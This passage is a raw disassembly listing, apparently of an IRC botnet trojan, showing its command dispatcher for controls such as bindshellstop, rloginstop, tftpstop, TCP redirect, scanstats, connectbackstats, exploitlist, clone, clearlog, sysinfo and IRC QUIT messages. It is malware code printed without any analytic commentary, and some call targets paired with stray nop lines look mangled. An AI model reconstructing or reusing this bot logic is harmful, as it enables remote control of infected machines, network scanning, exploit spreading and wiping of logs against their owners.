		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_40408F


loc_403F04:				; CODE XREF: sub_4021E5+1CFCj
		mov	eax, [ebp+var_BC]
		cmp	[ebp+eax*4+var_9C], 0
		jz	short loc_403F67
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		call	sub_421670
		pop	ecx
		movzx	eax, ax
		test	eax, eax
		jnz	short loc_403F3D
		mov	ax, word_441084
		mov	[ebp+var_411E],	ax
		jmp	short loc_403F57
; ---------------------------------------------------------------------------


loc_403F3D:				; CODE XREF: sub_4021E5+1D47j
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		call	sub_421670
		pop	ecx
		mov	[ebp+var_411E],	ax


loc_403F57:				; CODE XREF: sub_4021E5+1D56j
		mov	ax, [ebp+var_411E]
		mov	[ebp+var_4120],	ax
		jmp	short loc_403F74
; ---------------------------------------------------------------------------


loc_403F67:				; CODE XREF: sub_4021E5+1D2Dj
		mov	ax, word_441084
		mov	[ebp+var_4120],	ax


loc_403F74:				; CODE XREF: sub_4021E5+1D80j
		mov	ax, [ebp+var_4120]
		mov	[ebp+var_D18], ax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_D9C], eax
		mov	eax, [ebp+var_85C]
		mov	[ebp+var_D0C], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_D08], eax
		push	[ebp+var_98]
		push	80h
		lea	eax, [ebp+var_D98]
		push	eax
		call	sub_421B90
		add	esp, 0Ch
		movzx	eax, [ebp+var_D18]
		push	eax
		push	[ebp+arg_4]
		call	sub_40C86E
		pop	ecx
		push	eax
		push	offset unk_442314
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		add	esp, 10h
		push	0
		push	[ebp+var_85C]
		lea	eax, [ebp+var_858]
		push	eax
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_40B00F
		add	esp, 14h
		push	0
		push	6
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_40D32A
		add	esp, 0Ch
		mov	[ebp+var_D14], eax
		lea	eax, [ebp+var_868]
		push	eax
		push	0
		lea	eax, [ebp+var_D9C]
		push	eax
		push	offset byte_4134A1
		push	0
		push	0
		nop
		call	near ptr 27B05E2h
		mov	ecx, [ebp+var_D14]
		imul	ecx, 234h
		mov	dword_45462C[ecx], eax
		mov	eax, [ebp+var_D14]
		imul	eax, 234h
		cmp	dword_45462C[eax], 0
		jz	short loc_404074


loc_40405F:				; CODE XREF: sub_4021E5+1E8Bj
		cmp	[ebp+var_D04], 0
		jnz	short loc_404072
		push	32h
		nop
		call	near ptr 27B048Ah
		jmp	short loc_40405F
; ---------------------------------------------------------------------------


loc_404072:				; CODE XREF: sub_4021E5+1E81j
		jmp	short loc_404087
; ---------------------------------------------------------------------------


loc_404074:				; CODE XREF: sub_4021E5+1E78j
		nop
		call	near ptr 27B0F7Fh
		push	eax
		push	offset unk_442340
		call	sub_417472
		pop	ecx
		pop	ecx


loc_404087:				; CODE XREF: sub_4021E5:loc_404072j
		push	1
		pop	eax
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_40408F:				; CODE XREF: sub_4021E5+1D19j
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aBindshellstop ;	"bindshellstop"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_4040E7
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		push	6
		push	offset aServer_1 ; "Server"
		push	offset dword_442398
		push	[ebp+var_4]
		push	[ebp+var_85C]
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_40D75C
		add	esp, 20h
		push	1
		pop	eax
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_4040E7:				; CODE XREF: sub_4021E5+1EC5j
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aRloginstop ; "rloginstop"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40413F
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		push	9
		push	offset aServer_2 ; "Server"
		push	offset dword_4423C0
		push	[ebp+var_4]
		push	[ebp+var_85C]
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_40D75C
		add	esp, 20h
		push	1
		pop	eax
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_40413F:				; CODE XREF: sub_4021E5+1F1Dj
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aHttpstop ; "httpstop"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_404197
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		push	3
		push	offset aServer_3 ; "Server"
		push	offset dword_4423E4
		push	[ebp+var_4]
		push	[ebp+var_85C]
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_40D75C
		add	esp, 20h
		push	1
		pop	eax
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_404197:				; CODE XREF: sub_4021E5+1F75j
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aLogstop	; "logstop"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_4041EF
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		push	25h
		push	offset aLogList	; "Log list"
		push	offset dword_442408
		push	[ebp+var_4]
		push	[ebp+var_85C]
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_40D75C
		add	esp, 20h
		push	1
		pop	eax
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_4041EF:				; CODE XREF: sub_4021E5+1FCDj
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aRedirectstop ; "redirectstop"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_404247
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		push	18h
		push	offset aTcpRedirect ; "TCP redirect"
		push	offset dword_442434
		push	[ebp+var_4]
		push	[ebp+var_85C]
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_40D75C
		add	esp, 20h
		push	1
		pop	eax
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_404247:				; CODE XREF: sub_4021E5+2025j
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset dword_442444
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40429F
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		push	0Dh
		push	offset dword_442450
		push	offset dword_44245C
		push	[ebp+var_4]
		push	[ebp+var_85C]
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_40D75C
		add	esp, 20h
		push	1
		pop	eax
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_40429F:				; CODE XREF: sub_4021E5+207Dj
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aTftpstop ; "tftpstop"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_4042F7
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		push	5
		push	offset aServer_4 ; "Server"
		push	offset dword_44247C
		push	[ebp+var_4]
		push	[ebp+var_85C]
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_40D75C
		add	esp, 20h
		push	1
		pop	eax
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_4042F7:				; CODE XREF: sub_4021E5+20D5j
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aFindfilestop ; "findfilestop"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_404331
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aFfstop	; "ffstop"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40436C


loc_404331:				; CODE XREF: sub_4021E5+212Dj
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		push	24h
		push	offset aFindFile ; "Find file"
		push	offset dword_4424B0
		push	[ebp+var_4]
		push	[ebp+var_85C]
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_40D75C
		add	esp, 20h
		push	1
		pop	eax
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_40436C:				; CODE XREF: sub_4021E5+214Aj
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aProcsstop ; "procsstop"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_4043A6
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aPsstop	; "psstop"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_4043E1


loc_4043A6:				; CODE XREF: sub_4021E5+21A2j
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		push	27h
		push	offset aProcessList ; "Process list"
		push	offset dword_4424E4
		push	[ebp+var_4]
		push	[ebp+var_85C]
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_40D75C
		add	esp, 20h
		push	1
		pop	eax
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_4043E1:				; CODE XREF: sub_4021E5+21BFj
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aClonestop ; "clonestop"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_404439
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		push	1Fh
		push	offset aClone	; "Clone"
		push	offset dword_442508
		push	[ebp+var_4]
		push	[ebp+var_85C]
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_40D75C
		add	esp, 20h
		push	1
		pop	eax
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_404439:				; CODE XREF: sub_4021E5+2217j
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aSecurestop ; "securestop"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_404491
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		push	22h
		push	offset aSecure_1 ; "Secure"
		push	offset dword_44252C
		push	[ebp+var_4]
		push	[ebp+var_85C]
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_40D75C
		add	esp, 20h
		push	1
		pop	eax
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_404491:				; CODE XREF: sub_4021E5+226Fj
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aScanstop ; "scanstop"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_4044E9
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		push	0Bh
		push	offset aScan_2	; "Scan"
		push	offset dword_442550
		push	[ebp+var_4]
		push	[ebp+var_85C]
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_40D75C
		add	esp, 20h
		push	1
		pop	eax
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_4044E9:				; CODE XREF: sub_4021E5+22C7j
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aScanstats ; "scanstats"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_404523
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aStats	; "stats"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_404542


loc_404523:				; CODE XREF: sub_4021E5+231Fj
		push	[ebp+var_85C]
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_40DC2A
		add	esp, 0Ch
		mov	eax, [ebp+arg_24]
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_404542:				; CODE XREF: sub_4021E5+233Cj
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aTransferstats ;	"transferstats"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_40457C
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aTrstats	; "trstats"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40459B


loc_40457C:				; CODE XREF: sub_4021E5+2378j
		push	[ebp+var_85C]
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_40DD5F
		add	esp, 0Ch
		mov	eax, [ebp+arg_24]
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_40459B:				; CODE XREF: sub_4021E5+2395j
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aConnectbacksta ; "connectbackstats"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_4045D5
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aCbstats	; "cbstats"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_4045F4


loc_4045D5:				; CODE XREF: sub_4021E5+23D1j
		push	[ebp+var_85C]
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_40DDCF
		add	esp, 0Ch
		mov	eax, [ebp+arg_24]
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_4045F4:				; CODE XREF: sub_4021E5+23EEj
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aExploitlist ; "exploitlist"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_40462E
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aExplist	; "explist"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40464D


loc_40462E:				; CODE XREF: sub_4021E5+242Aj
		push	[ebp+var_85C]
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_40DE28
		add	esp, 0Ch
		mov	eax, [ebp+arg_24]
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_40464D:				; CODE XREF: sub_4021E5+2447j
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aReconnect ; "reconnect"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_404687
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aR	; "r"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_4046A8


loc_404687:				; CODE XREF: sub_4021E5+2483j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_40AFBE
		pop	ecx
		pop	ecx
		push	offset dword_4425E0
		call	sub_4173DC
		pop	ecx
		xor	eax, eax
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_4046A8:				; CODE XREF: sub_4021E5+24A0j
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aDisconnect ; "disconnect"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_4046E2
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aDc	; "dc"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_404704


loc_4046E2:				; CODE XREF: sub_4021E5+24DEj
		push	offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_40AFBE
		pop	ecx
		pop	ecx
		push	offset dword_442624
		call	sub_4173DC
		pop	ecx
		or	eax, 0FFFFFFFFh
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_404704:				; CODE XREF: sub_4021E5+24FBj
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aQuit_0	; "quit"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_40473E
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aQ	; "q"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_4047AF


loc_40473E:				; CODE XREF: sub_4021E5+253Aj
		mov	eax, [ebp+var_BC]
		cmp	[ebp+eax*4+var_9C], 0
		jz	short loc_404798
		cmp	[ebp+var_2D4], 0
		jz	short loc_404796
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		push	[ebp+var_2D4]
		call	sub_421B10
		pop	ecx
		pop	ecx
		mov	[ebp+var_DA0], eax
		cmp	[ebp+var_DA0], 0
		jz	short loc_404796
		push	[ebp+var_DA0]
		push	offset aQuitS	; "QUIT	:%s\r\n"
		push	[ebp+arg_4]
		call	sub_40AFBE
		add	esp, 0Ch


loc_404796:				; CODE XREF: sub_4021E5+2570j
					; sub_4021E5+2599j
		jmp	short loc_4047A7
; ---------------------------------------------------------------------------


loc_404798:				; CODE XREF: sub_4021E5+2567j
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	[ebp+arg_4]
		call	sub_40AFBE
		pop	ecx
		pop	ecx


loc_4047A7:				; CODE XREF: sub_4021E5:loc_404796j
		push	0FFFFFFFEh
		pop	eax
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_4047AF:				; CODE XREF: sub_4021E5+2557j
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aStatus	; "status"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_4047E9
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aS_0	; "s"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40483F


loc_4047E9:				; CODE XREF: sub_4021E5+25E5j
		push	dword_4E141C
		call	sub_41E075
		pop	ecx
		push	eax
		push	offset unk_442674
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
		push	0
		push	[ebp+var_85C]
		lea	eax, [ebp+var_858]
		push	eax
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_40B00F
		add	esp, 14h
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4173DC
		pop	ecx
		mov	eax, [ebp+arg_24]
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_40483F:				; CODE XREF: sub_4021E5+2602j
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aId	; "id"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_404879
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aI	; "i"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_4048C7


loc_404879:				; CODE XREF: sub_4021E5+2675j
		push	offset dword_4410A0
		push	offset dword_4426A8
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
		push	0
		push	[ebp+var_85C]
		lea	eax, [ebp+var_858]
		push	eax
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_40B00F
		add	esp, 14h
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4173DC
		pop	ecx
		mov	eax, [ebp+arg_24]
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_4048C7:				; CODE XREF: sub_4021E5+2692j
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aReboot	; "reboot"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40494C
		call	sub_41A8DC
		test	eax, eax
		jz	short loc_4048F9
		mov	[ebp+var_4124],	offset unk_4426C8
		jmp	short loc_404903
; ---------------------------------------------------------------------------


loc_4048F9:				; CODE XREF: sub_4021E5+2706j
		mov	[ebp+var_4124],	offset unk_4426E8


loc_404903:				; CODE XREF: sub_4021E5+2712j
		push	[ebp+var_4124]
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx
		push	0
		push	[ebp+var_85C]
		lea	eax, [ebp+var_858]
		push	eax
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_40B00F
		add	esp, 14h
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4173DC
		pop	ecx
		push	1
		pop	eax
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_40494C:				; CODE XREF: sub_4021E5+26FDj
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aThreads	; "threads"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_40498A
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aT	; "t"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_404AC2


loc_40498A:				; CODE XREF: sub_4021E5+2782j
		push	[ebp+var_98]
		push	80h
		lea	eax, [ebp+var_E34]
		push	eax
		call	sub_421B90
		add	esp, 0Ch
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_E38], eax
		mov	eax, [ebp+var_85C]
		mov	[ebp+var_DAC], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_DA8], eax
		mov	eax, [ebp+var_BC]
		cmp	[ebp+eax*4+var_9C], 0
		jz	short loc_4049F8
		push	offset aSub	; "sub"
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		call	sub_422740
		pop	ecx
		pop	ecx
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	[ebp+var_4128],	eax
		jmp	short loc_4049FF
; ---------------------------------------------------------------------------


loc_4049F8:				; CODE XREF: sub_4021E5+27EBj
		and	[ebp+var_4128],	0


loc_4049FF:				; CODE XREF: sub_4021E5+2811j
		mov	eax, [ebp+var_4128]
		mov	[ebp+var_DB0], eax
		push	offset dword_442720
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx
		push	0
		push	28h
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_40D32A
		add	esp, 0Ch
		mov	[ebp+var_DB4], eax
		lea	eax, [ebp+var_868]
		push	eax
		push	0
		lea	eax, [ebp+var_E38]
		push	eax
		push	offset byte_40D3DB
		push	0
		push	0
		call	near ptr 27B05E2h
		nop
		mov	ecx, [ebp+var_DB4]
		imul	ecx, 234h
		mov	dword_45462C[ecx], eax
		mov	eax, [ebp+var_DB4]
		imul	eax, 234h
		cmp	dword_45462C[eax], 0
		jz	short loc_404A92


loc_404A7D:				; CODE XREF: sub_4021E5+28A9j
		cmp	[ebp+var_DA4], 0
		jnz	short loc_404A90
		push	32h
		nop
		call	near ptr 27B048Ah
		jmp	short loc_404A7D
; ---------------------------------------------------------------------------


loc_404A90:				; CODE XREF: sub_4021E5+289Fj
		jmp	short loc_404AAD
; ---------------------------------------------------------------------------


loc_404A92:				; CODE XREF: sub_4021E5+2896j
		call	near ptr 27B0F7Fh
		nop
		push	eax
		push	offset unk_442740
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch


loc_404AAD:				; CODE XREF: sub_4021E5:loc_404A90j
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4173DC
		pop	ecx
		mov	eax, [ebp+arg_24]
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_404AC2:				; CODE XREF: sub_4021E5+279Fj
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aAliases	; "aliases"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_404AFC
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aAl	; "al"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_404B26


loc_404AFC:				; CODE XREF: sub_4021E5+28F8j
		push	[ebp+var_85C]
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_41733C
		add	esp, 0Ch
		push	offset dword_442788
		call	sub_4173DC
		pop	ecx
		mov	eax, [ebp+arg_24]
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_404B26:				; CODE XREF: sub_4021E5+2915j
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset dword_4427A0
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_404B64
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset dword_4427A4
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_404CA6


loc_404B64:				; CODE XREF: sub_4021E5+295Cj
		and	[ebp+var_EC8], 0
		cmp	[ebp+var_2D4], 0
		jz	short loc_404BCC
		mov	eax, [ebp+var_BC]
		cmp	[ebp+eax*4+var_9C], 0
		jz	short loc_404BCC
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		push	[ebp+var_2D4]
		call	sub_421B10
		pop	ecx
		pop	ecx
		mov	[ebp+var_F50], eax
		cmp	[ebp+var_F50], 0
		jz	short loc_404BCC
		push	[ebp+var_F50]
		push	offset dword_4427A8
		push	80h
		lea	eax, [ebp+var_EC8]
		push	eax
		call	sub_421B90
		add	esp, 10h


loc_404BCC:				; CODE XREF: sub_4021E5+298Dj
					; sub_4021E5+299Dj ...
		push	[ebp+var_98]
		push	80h
		lea	eax, [ebp+var_F48]
		push	eax
		call	sub_421B90
		add	esp, 0Ch
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_F4C], eax
		mov	eax, [ebp+var_85C]
		mov	[ebp+var_E44], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_E40], eax
		push	offset dword_4427AC
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx
		push	0
		push	25h
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_40D32A
		add	esp, 0Ch
		mov	[ebp+var_E48], eax
		lea	eax, [ebp+var_868]
		push	eax
		push	0
		lea	eax, [ebp+var_F4C]
		push	eax
		push	offset sub_417646
		push	0
		push	0
		nop
		call	near ptr 27B05E2h
		mov	ecx, [ebp+var_E48]
		imul	ecx, 234h
		mov	dword_45462C[ecx], eax
		mov	eax, [ebp+var_E48]
		imul	eax, 234h
		cmp	dword_45462C[eax], 0
		jz	short loc_404C8B


loc_404C76:				; CODE XREF: sub_4021E5+2AA2j
		cmp	[ebp+var_E3C], 0
		jnz	short loc_404C89
		push	32h
		call	near ptr 27B048Ah
		nop
		jmp	short loc_404C76
; ---------------------------------------------------------------------------


loc_404C89:				; CODE XREF: sub_4021E5+2A98j
		jmp	short loc_404C9E
; ---------------------------------------------------------------------------


loc_404C8B:				; CODE XREF: sub_4021E5+2A8Fj
		nop
		call	near ptr 27B0F7Fh
		push	eax
		push	offset unk_4427C4
		call	sub_417472
		pop	ecx
		pop	ecx


loc_404C9E:				; CODE XREF: sub_4021E5:loc_404C89j
		push	1
		pop	eax
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_404CA6:				; CODE XREF: sub_4021E5+2979j
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aClearlog ; "clearlog"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_404CE0
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aClg	; "clg"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_404D02


loc_404CE0:				; CODE XREF: sub_4021E5+2ADCj
		push	[ebp+var_4]
		push	[ebp+var_85C]
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_4175A2
		add	esp, 10h
		push	1
		pop	eax
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_404D02:				; CODE XREF: sub_4021E5+2AF9j
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aNetinfo	; "netinfo"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_404D3C
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aNi	; "ni"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_404D7E


loc_404D3C:				; CODE XREF: sub_4021E5+2B38j
		push	0
		push	[ebp+var_85C]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_41E66D
		add	esp, 0Ch
		push	eax
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_40B00F
		add	esp, 14h
		push	offset dword_442818
		call	sub_4173DC
		pop	ecx
		mov	eax, [ebp+arg_24]
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_404D7E:				; CODE XREF: sub_4021E5+2B55j
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aSysinfo	; "sysinfo"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_404DB8
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aSi	; "si"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_404DF6


loc_404DB8:				; CODE XREF: sub_4021E5+2BB4j
		push	0
		push	[ebp+var_85C]
		push	[ebp+arg_4]
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_41E318
		pop	ecx
		pop	ecx
		push	eax
		push	[ebp+var_98]
		push	[ebp+arg_4]
